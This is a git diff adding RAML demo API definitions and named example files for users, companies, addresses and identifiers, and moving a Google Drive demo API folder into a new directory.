+ Female: female
+ url: string
+ tagline: string
+ language:
+ type: string
+ default: PL
+ etag:
+ type: string
+ example: etag example
+ image:
+ type: object
+ properties:
+ url: string
+ thumb: string
+ opt?: Image | string
+ example:
+ error: false
+ id: 1234
+ name: Pawel Psztyc
+ birthday: 20-10-1983
+ tagline: Test example
+ url: https://domain.com
+ language: PL
+ etag: test
+ image:
+ url: https://image.com
+ thumb: https://image.com/thumb
+ JsonExampleInclude:
+ type: Person
+ example: !include example.json
+ XmlExampleInclude:
+ type: Person
+ example: !include example.xml
+ PropertyExamples:
+ properties:
+ xtra:
+ type: string
+ xml:
+ attribute: true
+ firstName:
+ type: string
+ example: Pawel
+ lastName:
+ type: string
+ example: Psztyc
+ address: Address
+ num: number
+ int: integer
+ bool: boolean
+ defVal:
+ type: integer
+ default: 10
+ example: 1
+ Address:
+ properties:
+ street: string
+ zip:
+ type: string
+ example: "94100"
+ default: "00000"
+ house:
+ type: number
+ example: 1
+ TypeExamples:
+ properties:
+ firstName: string
+ lastName: string
+ example:
+ firstName: Pawel
+ lastName: Psztyc
+ ArrayTypeWithExample:
+ type: array
+ items: Image
+ example: [{"url": "url 1", "thumb": "thumb 1"}]
+ TypeWithExampleWithLinks:
+ type: !include type-with-linked-examples.raml
+ Users: !include users-raml-example.raml
+ UsersJson: !include users-json-example.raml
+ User: !include user-raml-example.raml
+ UserJson: !include user-json-example.raml
+/IncludedInType:
+ post:
+ body:
+ application/json:
+ type: Person
+ application/xml:
+ type: Person
+/IncludedInline:
+ post:
+ body:
+ application/json:
+ type: Person
+ example:
+ error: false
+ id: 1234
+ name: Inline person
+ birthday: 01-01-1990
+ tagline: Test example
+ url: https://domain.com
+ language: PL
+ etag: test
+ image:
+ url: https://image.com
+ thumb: https://image.com/thumb
+ application/xml:
+ type: !include example.xsd
+ example: !include example.xml
+/IncludedInlineJson:
+ post:
+ body:
+ application/json:
+ type: !include user.raml
+ example: !include user.json
+/typeExamples:
+ post:
+ body:
+ application/json:
+ type: TypeExamples
+ application/xml:
+ type: TypeExamples
+/propertyExamples:
+ post:
+ body:
+ application/json:
+ type: PropertyExamples
+ application/xml:
+ type: PropertyExamples
+/arrayTypeExample:
+ post:
+ body:
+ application/json:
+ type: TypeExamples[]
+/arrayPropertyExamples:
+ post:
+ body:
+ application/json:
+ type: PropertyExamples[]
+ application/xml:
+ type: PropertyExamples[]
+/arrayPropertyGeneratedExamples:
+ post:
+ body:
+ application/json:
+ type: array
+ items:
+ properties:
+ test: boolean
+ other: string
+ application/xml:
+ type: array
+ items:
+ properties:
+ test: boolean
+ other: string
+/wrappedXml:
+ post:
+ body:
+ application/xml:
+ type: Imgs
+/inline-property-example:
+ post:
+ body:
+ application/json:
+ type: object
+ properties:
+ limit: number
+ items:
+ type: string[]
+ example: [test, other]
+ application/xml:
+ type: object
+ properties:
+ limit: number
+ items:
+ type: string[]
+ example: [test, other]
+/union:
+ post:
+ body:
+ application/json:
+ type: Person | PropertyExamples
+ application/xml:
+ type: Person | PropertyExamples
+/scalar:
+ post:
+ body:
+ application/json:
+ type: integer
+/scalarWithExample:
+ post:
+ body:
+ application/json:
+ type: integer
+ example: 1
+/arrayScalar:
+ post:
+ body:
+ application/json:
+ type: array
+ items: [number]
+/arrayScalarWithExample:
+ post:
+ body:
+ application/json:
+ type: array
+ items: [number]
+ example: [1, 2, 3]
+/user-raml-example:
+ post:
+ body:
+ application/json:
+ type: !include user-raml-example.raml
+ examples:
+ User 3:
+ id: uid3
+ username: ppsztyc
+ firstName: Pawel
+ lastName: Psztyc
+ profilePhoto: https://img/domain.com/ppsztyc
+ email: ppsztyc@domain.com
+ User 4:
+ id: uid4
+ username: jdoe
+ firstName: John
+ lastName: Does
+ profilePhoto: https://img/domain.com/jdoe
+ email: jdoe@domain.com
+ application/xml:
+ type: !include user-raml-example.raml
+/user-json-example:
+ post:
+ body:
+ application/json:
+ type: !include user-json-example.raml
+/users-raml-example:
+ post:
+ body:
+ application/json:
+ type: !include users-raml-example.raml
+ application/xml:
+ type: !include users-raml-example.raml
+/users-json-example:
+ post:
+ body:
+ application/json:
+ type: !include users-json-example.raml
+/named-example:
+ post:
+ body:
+ application/json:
+ example: !include named-example.raml
+ application/xml:
+ example: !include named-example.raml
+/named-linked-example:
+ post:
+ body:
+ application/json:
+ type: TypeWithExampleWithLinks
+ example: !include named-example-with-link.raml
+ application/xml:
+ example: !include named-example-with-link.raml
diff --git a/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml
new file mode 100755
index 0000000..6b52bb6
--- /dev/null
+++ b/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml
@@ -0,0 +1,10 @@
+#%RAML 1.0 NamedExample
+addressType: 'REGISTERED-OFFICE-ADDRESS'
+streetName: 'UITBREIDINGSTRAAT'
+houseNumber: '1'
+houseNumberAddition: '/1'
+postalCode: '1234'
+city: 'BERCHEM (ANTWERPEN)'
+country: 'Belgium'
+countryCode: 'BE'
+fullFormatedAddress: "UITBREIDINGSTRAAT 1 /1, 1234 BERCHEM (ANTWERPEN), BELGIUM"
diff --git a/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml
new file mode 100755
index 0000000..5b2b53b
--- /dev/null
+++ b/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 NamedExample
+addressType: 'REGISTERED-OFFICE-ADDRESS'
+building: 'FITZWILLIAMHOUSE BUILDING'
+streetName: '128 St Marry Axe'
+streetNameAdd1: '128 St Marry Axe, EP1 1BE'
+country: 'United Kingdom'
+countryCode: 'GB'
+fullFormatedAddress: 'FITZWILLIAMHOUSE BUILDING, 128 St Marry Axe, London, EP1 1BE'
diff --git a/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml
new file mode 100755
index 0000000..1f93890
--- /dev/null
+++ b/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 NamedExample
+addressType: 'REGISTERED-OFFICE-ADDRESS'
+streetName: 'HULLENBERGWEG'
+houseNumber: '250'
+city: 'AMSTERDAM ZUIDOOST'
+country: 'Netherlands'
+countryCode: 'NL'
+fullFormatedAddress: 'HULLENBERGWEG 250, 1101BV AMSTERDAM ZUIDOOST'
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml
new file mode 100755
index 0000000..40b3ba0
--- /dev/null
+++ b/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+- #Item 1
+ addressType: 'REGISTERED-OFFICE-ADDRESS'
+ streetName: 'UITBREIDINGSTRAAT'
+ houseNumber: '1'
+ houseNumberAddition: '/1'
+ postalCode: '1234'
+ city: 'BERCHEM (ANTWERPEN)'
+ country: 'Belgium'
+ countryCode: 'BE'
+ fullFormatedAddress: "UITBREIDINGSTRAAT 1 /1, 1234 BERCHEM (ANTWERPEN), BELGIUM"
diff --git a/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml
new file mode 100755
index 0000000..8ade8a7
--- /dev/null
+++ b/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml
@@ -0,0 +1,9 @@
+#%RAML 1.0 NamedExample
+- #Item 1
+ addressType: 'REGISTERED-OFFICE-ADDRESS'
+ building: 'FITZWILLIAMHOUSE BUILDING'
+ streetName: '128 St Marry Axe'
+ streetNameAdd1: '128 St Marry Axe, EP1 1BE'
+ country: 'United Kingdom'
+ countryCode: 'GB'
+ fullFormatedAddress: 'FITZWILLIAMHOUSE BUILDING, 128 St Marry Axe, London, EP1 1BE'
diff --git a/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml
new file mode 100755
index 0000000..dac0b3d
--- /dev/null
+++ b/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+- #Item 1
+ addressType: 'REGISTERED-OFFICE-ADDRESS'
+ streetName: 'HULLENBERGWEG'
+ houseNumber: '250'
+ city: 'AMSTERDAM ZUIDOOST'
+ country: 'Netherlands'
+ countryCode: 'NL'
+ fullFormatedAddress: 'HULLENBERGWEG 250, 1101BV AMSTERDAM ZUIDOOST'
+- #Item 2
+ addressType: 'REGISTERED-OFFICE-ADDRESS'
+ streetName: 'MYSTREET'
+ houseNumber: '000'
+ city: 'AMSTERDAM ZUIDOOST'
+ country: 'Netherlands'
+ countryCode: 'NL'
+ fullFormatedAddress: 'MYSTREET 000, 1101BV AMSTERDAM ZUIDOOST'
diff --git a/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml
new file mode 100755
index 0000000..ab8fcb1
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+countryCode: "BE"
+graydonEnterpriseId: 1057155523
+registrationId: "0422319093"
+vatNumber: "BE0422319093"
+graydonCompanyId: "0422319093"
+isBranchOffice: false
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml
new file mode 100755
index 0000000..d4dc6cc
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+countryCode: "GB"
+graydonEnterpriseId: 1095695225
+registrationId: '00363849'
+vatNumber: 'GB238749129'
+graydonCompanyId: '00363849'
+isBranchOffice: false
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml
new file mode 100755
index 0000000..82ab056
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+countryCode: "NL"
+graydonEnterpriseId: 1000095065
+registrationId: "330803480000"
+vatNumber: "NL004753975B01"
+graydonCompanyId: "501924"
+isBranchOffice: true
diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml
new file mode 100755
index 0000000..e5d97b0
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+countryCode: "NL"
+graydonEnterpriseId: 199990000
+registrationId: "110773422000"
+vatNumber: "NL10375009A000"
+graydonCompanyId: "501924"
+isBranchOffice: false
diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml
new file mode 100755
index 0000000..396cd7d
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml
@@ -0,0 +1,6 @@
+#%RAML 1.0 NamedExample
+countryCode: "NL"
+graydonEnterpriseId: 112321
+registrationId: "9876543"
+vatNumber: "NL123456789"
+isBranchOffice: false
diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml
new file mode 100755
index 0000000..40cbf2d
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+code: '5'
+description: 'Limited company'
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml
new file mode 100755
index 0000000..2ca1a5d
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+code: '9'
+description: 'Private Limited Company'
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml
new file mode 100755
index 0000000..c87c916
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+code: '10'
+description: 'Public Limited Company'
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml
new file mode 100755
index 0000000..9ac2632
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include CompanyIdentification_BE_Example-1.0.raml
+companyName: 'ACME BE'
+alternateCompanyName: 'ACME ALT NV'
+tradeNames:
+ - 'ACME'
+ - 'ACM'
+ - 'IT FACILITY MANAGEMENT'
+companyAddress: !include Addresses_BE_Example-1.0.raml
+legalForm: !include CompanyLegalForm_BE_Example-1.0.raml
+isActive: "true"
+foundationDate: 1940-07-11
+dissolutionDate: 2007-01-01
+nonEmailIndicator: true
diff --git a/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml
new file mode 100755
index 0000000..25acd9b
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include CompanyIdentification_GB_Example-1.0.raml
+companyName: 'ACME UK LIMITED'
+tradeNames:
+ - 'ACME'
+companyAddress: !include Addresses_GB_Example-1.0.raml
+legalForm: !include CompanyLegalForm_GB_Example-1.0.raml
+isActive: "true"
+foundationDate: 1940-07-11
+dissolutionDate: 2007-01-01
+nonEmailIndicator: false
diff --git a/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml
new file mode 100755
index 0000000..0a83052
--- /dev/null
+++ b/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include CompanyIdentification_NL_Example-1.0.raml
+companyName: 'ACME NEDERLAND B.V.'
+tradeNames:
+ - 'ACME'
+ - 'NEDERLANDS ACME'
+companyAddress: !include Addresses_NL_Example-1.0.raml
+legalForm: !include CompanyLegalForm_NL_Example-1.0.raml
+isActive: "true"
+foundationDate: 1940-07-11
+dissolutionDate: 2007-01-01
+nonEmailIndicator: false
diff --git a/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml
new file mode 100755
index 0000000..b740a65
--- /dev/null
+++ b/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include CompanyIdentification_BE_Example-1.0.raml
+companyProfile: !include CompanyProfile_BE_Example-1.0.raml
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml
new file mode 100755
index 0000000..87eecd0
--- /dev/null
+++ b/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include CompanyIdentification_GB_Example-1.0.raml
+companyProfile: !include CompanyProfile_GB_Example-1.0.raml
\ No newline at end of file
diff --git a/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml
new file mode 100755
index 0000000..b954537
--- /dev/null
+++ b/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include CompanyIdentification_NL_Example-1.0.raml
+companyProfile: !include CompanyProfile_NL_Example-1.0.raml
\ No newline at end of file
diff --git a/demo/apis/examples-api/linked-named-example.raml b/demo/apis/examples-api/linked-named-example.raml
new file mode 100644
index 0000000..6a047d0
--- /dev/null
+++ b/demo/apis/examples-api/linked-named-example.raml
@@ -0,0 +1,22 @@
+#%RAML 1.0 NamedExample
+companyIdentification: !include example-1.raml
+companyName: 'GRAYDON BELGIÃ NV'
+alternateCompanyName: 'GRAYDON BELGIQUE NV'
+tradeNames:
+ - 'GRAYDON'
+ - 'MARKTSELECT'
+ - 'CREDITEL'
+ - 'ACM'
+ - 'IT FACILITY MANAGEMENT'
+companyAddress: !include example-2.raml
+contactInformation: !include example-3.raml
+legalForm: !include example-4.raml
+size: !include example-5.raml
+industry:
+ - !include example-6.raml
+activities: !include example-7.raml
+isActive: "true"
+foundationDate: 1940-07-11
+dissolutionDate: 2007-01-01
+nonEmailIndicator: true
+#numberOfBranchOffices: 0
diff --git a/demo/apis/examples-api/named-example-with-link.raml b/demo/apis/examples-api/named-example-with-link.raml
new file mode 100644
index 0000000..0a1f0d9
--- /dev/null
+++ b/demo/apis/examples-api/named-example-with-link.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+company: !include linked-named-example.raml
+startDate: '2000-01-01'
diff --git a/demo/apis/examples-api/named-example.raml b/demo/apis/examples-api/named-example.raml
new file mode 100644
index 0000000..ab8fcb1
--- /dev/null
+++ b/demo/apis/examples-api/named-example.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+countryCode: "BE"
+graydonEnterpriseId: 1057155523
+registrationId: "0422319093"
+vatNumber: "BE0422319093"
+graydonCompanyId: "0422319093"
+isBranchOffice: false
\ No newline at end of file
diff --git a/demo/apis/examples-api/type-with-linked-examples.raml b/demo/apis/examples-api/type-with-linked-examples.raml
new file mode 100644
index 0000000..f2af456
--- /dev/null
+++ b/demo/apis/examples-api/type-with-linked-examples.raml
@@ -0,0 +1,15 @@
+#%RAML 1.0 DataType
+type: object
+displayName: Company
+description: A company
+examples:
+ BE_Company: !include examples/Company_BE_Example-1.0.raml
+ GB_Company: !include examples/Company_GB_Example-1.0.raml
+ NL_Company: !include examples/Company_NL_Example-1.0.raml
+properties:
+ companyIdentification:
+ type: !include CompanyIdentification-1.0.raml
+ required: true
+ companyProfile:
+ type: !include CompanyProfile-1.0.raml
+ required: false
diff --git a/demo/apis/examples-api/user-json-example.raml b/demo/apis/examples-api/user-json-example.raml
new file mode 100644
index 0000000..a66d0e2
--- /dev/null
+++ b/demo/apis/examples-api/user-json-example.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User (JSON)
+properties:
+ id:
+ displayName: Id
+ username:
+ displayName: Username
+ firstName:
+ displayName: First Name
+ lastName:
+ displayName: Last Name
+ profilePhoto:
+ displayName: Profile photo
+ email:
+ displayName: Email
+example: !include user.json
diff --git a/demo/apis/examples-api/user-raml-example.raml b/demo/apis/examples-api/user-raml-example.raml
new file mode 100644
index 0000000..9178e93
--- /dev/null
+++ b/demo/apis/examples-api/user-raml-example.raml
@@ -0,0 +1,37 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User (RAML)
+properties:
+ id:
+ displayName: Id
+ username:
+ displayName: Username
+ firstName:
+ displayName: First Name
+ lastName:
+ displayName: Last Name
+ profilePhoto:
+ displayName: Profile photo
+ email:
+ displayName: Email
+ age: integer
+ newsletter: boolean
+examples:
+ User 1:
+ id: uid1
+ username: ppsztyc
+ firstName: Pawel
+ lastName: Psztyc
+ profilePhoto: https://img/domain.com/ppsztyc
+ email: ppsztyc@domain.com
+ age: 35
+ newsletter: true
+ User 2:
+ id: uid2
+ username: jdoe
+ firstName: John
+ lastName: Does
+ profilePhoto: https://img/domain.com/jdoe
+ email: jdoe@domain.com
+ age: 25
+ newsletter: false
diff --git a/demo/apis/examples-api/user.json b/demo/apis/examples-api/user.json
new file mode 100644
index 0000000..78ec0ba
--- /dev/null
+++ b/demo/apis/examples-api/user.json
@@ -0,0 +1,8 @@
+{
+ "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97",
+ "username": "char",
+ "firstName": "Charlie",
+ "lastName": "Brown",
+ "profilePhoto": "http://my-photos.com/char.jpg",
+ "email": "char@wash.com"
+}
diff --git a/demo/apis/examples-api/user.raml b/demo/apis/examples-api/user.raml
new file mode 100644
index 0000000..41b2515
--- /dev/null
+++ b/demo/apis/examples-api/user.raml
@@ -0,0 +1,18 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User
+properties:
+ id:
+ displayName: Id
+ username:
+ displayName: Username
+ firstName:
+ displayName: First Name
+ lastName:
+ displayName: Last Name
+ profilePhoto:
+ displayName: Profile photo
+ email:
+ displayName: Email
+ age: integer
+ newsletter: boolean
diff --git a/demo/apis/examples-api/users-json-example.raml b/demo/apis/examples-api/users-json-example.raml
new file mode 100644
index 0000000..ee690b8
--- /dev/null
+++ b/demo/apis/examples-api/users-json-example.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User (JSON)
+properties:
+ id:
+ displayName: Id
+ username:
+ displayName: Username
+ firstName:
+ displayName: First Name
+ lastName:
+ displayName: Last Name
+ profilePhoto:
+ displayName: Profile photo
+ email:
+ displayName: Email
+example: !include users.json
diff --git a/demo/apis/examples-api/users-raml-example.raml b/demo/apis/examples-api/users-raml-example.raml
new file mode 100644
index 0000000..cab1f77
--- /dev/null
+++ b/demo/apis/examples-api/users-raml-example.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0 DataType
+type: array
+displayName: Users (RAML)
+items:
+ properties:
+ id:
+ displayName: Id
+ username:
+ displayName: Username
+ firstName:
+ displayName: First Name
+ lastName:
+ displayName: Last Name
+ profilePhoto:
+ displayName: Profile photo
+ email:
+ displayName: Email
+examples:
+ User 1:
+ id: uid1
+ username: ppsztyc
+ firstName: Pawel
+ lastName: Psztyc
+ profilePhoto: https://img/domain.com/ppsztyc
+ email: ppsztyc@domain.com
+ User 2:
+ id: uid2
+ username: jdoe
+ firstName: John
+ lastName: Does
+ profilePhoto: https://img/domain.com/jdoe
+ email: jdoe@domain.com
diff --git a/demo/apis/examples-api/users.json b/demo/apis/examples-api/users.json
new file mode 100644
index 0000000..7ee2e03
--- /dev/null
+++ b/demo/apis/examples-api/users.json
@@ -0,0 +1,8 @@
+[{
+ "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97",
+ "username": "char",
+ "firstName": "Charlie",
+ "lastName": "Brown",
+ "profilePhoto": "http://my-photos.com/char.jpg",
+ "email": "char@wash.com"
+}]
diff --git a/demo/google-drive-api/docs/api/headline.md b/demo/apis/google-drive-api/docs/api/headline.md
similarity index 100%
rename from demo/google-drive-api/docs/api/headline.md
rename to demo/apis/google-drive-api/docs/api/headline.md
diff --git a/demo/google-drive-api/docs/search-for-file.md b/demo/apis/google-drive-api/docs/search-for-file.md
similarity index 100%
rename from demo/google-drive-api/docs/search-for-file.md
rename to demo/apis/google-drive-api/docs/search-for-file.md
diff --git a/demo/google-drive-api/docs/upload-files.md b/demo/apis/google-drive-api/docs/upload-files.md
similarity index 100%
rename from demo/google-drive-api/docs/upload-files.md
rename to demo/apis/google-drive-api/docs/upload-files.md
diff --git a/demo/google-drive-api/docs/uploadApi/headline.md b/demo/apis/google-drive-api/docs/uploadApi/headline.md
similarity index 100%
rename from demo/google-drive-api/docs/uploadApi/headline.md
rename to demo/apis/google-drive-api/docs/uploadApi/headline.md
diff --git a/demo/google-drive-api/docs/work-with-folders.md b/demo/apis/google-drive-api/docs/work-with-folders.md
similarity index 100%
rename from demo/google-drive-api/docs/work-with-folders.md
rename to demo/apis/google-drive-api/docs/work-with-folders.md
diff --git a/demo/google-drive-api/examples/about-example.json b/demo/apis/google-drive-api/examples/about-example.json
similarity index 100%
rename from demo/google-drive-api/examples/about-example.json
rename to demo/apis/google-drive-api/examples/about-example.json
diff --git a/demo/google-drive-api/examples/app-example.json b/demo/apis/google-drive-api/examples/app-example.json
similarity index 100%
rename from demo/google-drive-api/examples/app-example.json
rename to demo/apis/google-drive-api/examples/app-example.json
diff --git a/demo/google-drive-api/examples/app-list-example.json b/demo/apis/google-drive-api/examples/app-list-example.json
similarity index 100%
rename from demo/google-drive-api/examples/app-list-example.json
rename to demo/apis/google-drive-api/examples/app-list-example.json
diff --git a/demo/google-drive-api/examples/change-example.json b/demo/apis/google-drive-api/examples/change-example.json
similarity index 100%
rename from demo/google-drive-api/examples/change-example.json
rename to demo/apis/google-drive-api/examples/change-example.json
diff --git a/demo/google-drive-api/examples/changeList-example.json b/demo/apis/google-drive-api/examples/changeList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/changeList-example.json
rename to demo/apis/google-drive-api/examples/changeList-example.json
diff --git a/demo/google-drive-api/examples/channel-example.json b/demo/apis/google-drive-api/examples/channel-example.json
similarity index 100%
rename from demo/google-drive-api/examples/channel-example.json
rename to demo/apis/google-drive-api/examples/channel-example.json
diff --git a/demo/google-drive-api/examples/childList-example.json b/demo/apis/google-drive-api/examples/childList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/childList-example.json
rename to demo/apis/google-drive-api/examples/childList-example.json
diff --git a/demo/google-drive-api/examples/childReference-example.json b/demo/apis/google-drive-api/examples/childReference-example.json
similarity index 100%
rename from demo/google-drive-api/examples/childReference-example.json
rename to demo/apis/google-drive-api/examples/childReference-example.json
diff --git a/demo/google-drive-api/examples/comment-example.json b/demo/apis/google-drive-api/examples/comment-example.json
similarity index 100%
rename from demo/google-drive-api/examples/comment-example.json
rename to demo/apis/google-drive-api/examples/comment-example.json
diff --git a/demo/google-drive-api/examples/comment-reply-update-response.json b/demo/apis/google-drive-api/examples/comment-reply-update-response.json
similarity index 100%
rename from demo/google-drive-api/examples/comment-reply-update-response.json
rename to demo/apis/google-drive-api/examples/comment-reply-update-response.json
diff --git a/demo/google-drive-api/examples/commentCreateRequest-example.json b/demo/apis/google-drive-api/examples/commentCreateRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/commentCreateRequest-example.json
rename to demo/apis/google-drive-api/examples/commentCreateRequest-example.json
diff --git a/demo/google-drive-api/examples/commentList-example.json b/demo/apis/google-drive-api/examples/commentList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/commentList-example.json
rename to demo/apis/google-drive-api/examples/commentList-example.json
diff --git a/demo/google-drive-api/examples/commentReply-example.json b/demo/apis/google-drive-api/examples/commentReply-example.json
similarity index 100%
rename from demo/google-drive-api/examples/commentReply-example.json
rename to demo/apis/google-drive-api/examples/commentReply-example.json
diff --git a/demo/google-drive-api/examples/commentReplyList-example.json b/demo/apis/google-drive-api/examples/commentReplyList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/commentReplyList-example.json
rename to demo/apis/google-drive-api/examples/commentReplyList-example.json
diff --git a/demo/google-drive-api/examples/commentReplyRequest-example.json b/demo/apis/google-drive-api/examples/commentReplyRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/commentReplyRequest-example.json
rename to demo/apis/google-drive-api/examples/commentReplyRequest-example.json
diff --git a/demo/google-drive-api/examples/file-example.json b/demo/apis/google-drive-api/examples/file-example.json
similarity index 100%
rename from demo/google-drive-api/examples/file-example.json
rename to demo/apis/google-drive-api/examples/file-example.json
diff --git a/demo/google-drive-api/examples/fileList-example.json b/demo/apis/google-drive-api/examples/fileList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/fileList-example.json
rename to demo/apis/google-drive-api/examples/fileList-example.json
diff --git a/demo/google-drive-api/examples/newFileRequest-example.json b/demo/apis/google-drive-api/examples/newFileRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/newFileRequest-example.json
rename to demo/apis/google-drive-api/examples/newFileRequest-example.json
diff --git a/demo/google-drive-api/examples/parentList-example.json b/demo/apis/google-drive-api/examples/parentList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/parentList-example.json
rename to demo/apis/google-drive-api/examples/parentList-example.json
diff --git a/demo/google-drive-api/examples/parentReference-example.json b/demo/apis/google-drive-api/examples/parentReference-example.json
similarity index 100%
rename from demo/google-drive-api/examples/parentReference-example.json
rename to demo/apis/google-drive-api/examples/parentReference-example.json
diff --git a/demo/google-drive-api/examples/permission-example.json b/demo/apis/google-drive-api/examples/permission-example.json
similarity index 100%
rename from demo/google-drive-api/examples/permission-example.json
rename to demo/apis/google-drive-api/examples/permission-example.json
diff --git a/demo/google-drive-api/examples/permissionId-example.json b/demo/apis/google-drive-api/examples/permissionId-example.json
similarity index 100%
rename from demo/google-drive-api/examples/permissionId-example.json
rename to demo/apis/google-drive-api/examples/permissionId-example.json
diff --git a/demo/google-drive-api/examples/permissionList-example.json b/demo/apis/google-drive-api/examples/permissionList-example.json
similarity index 100%
rename from demo/google-drive-api/examples/permissionList-example.json
rename to demo/apis/google-drive-api/examples/permissionList-example.json
diff --git a/demo/google-drive-api/examples/permissionRequest-example.json b/demo/apis/google-drive-api/examples/permissionRequest-example.json
similarity index 100%
rename from demo/google-drive-api/examples/permissionRequest-example.json
rename to demo/apis/google-drive-api/examples/permissionRequest-example.json
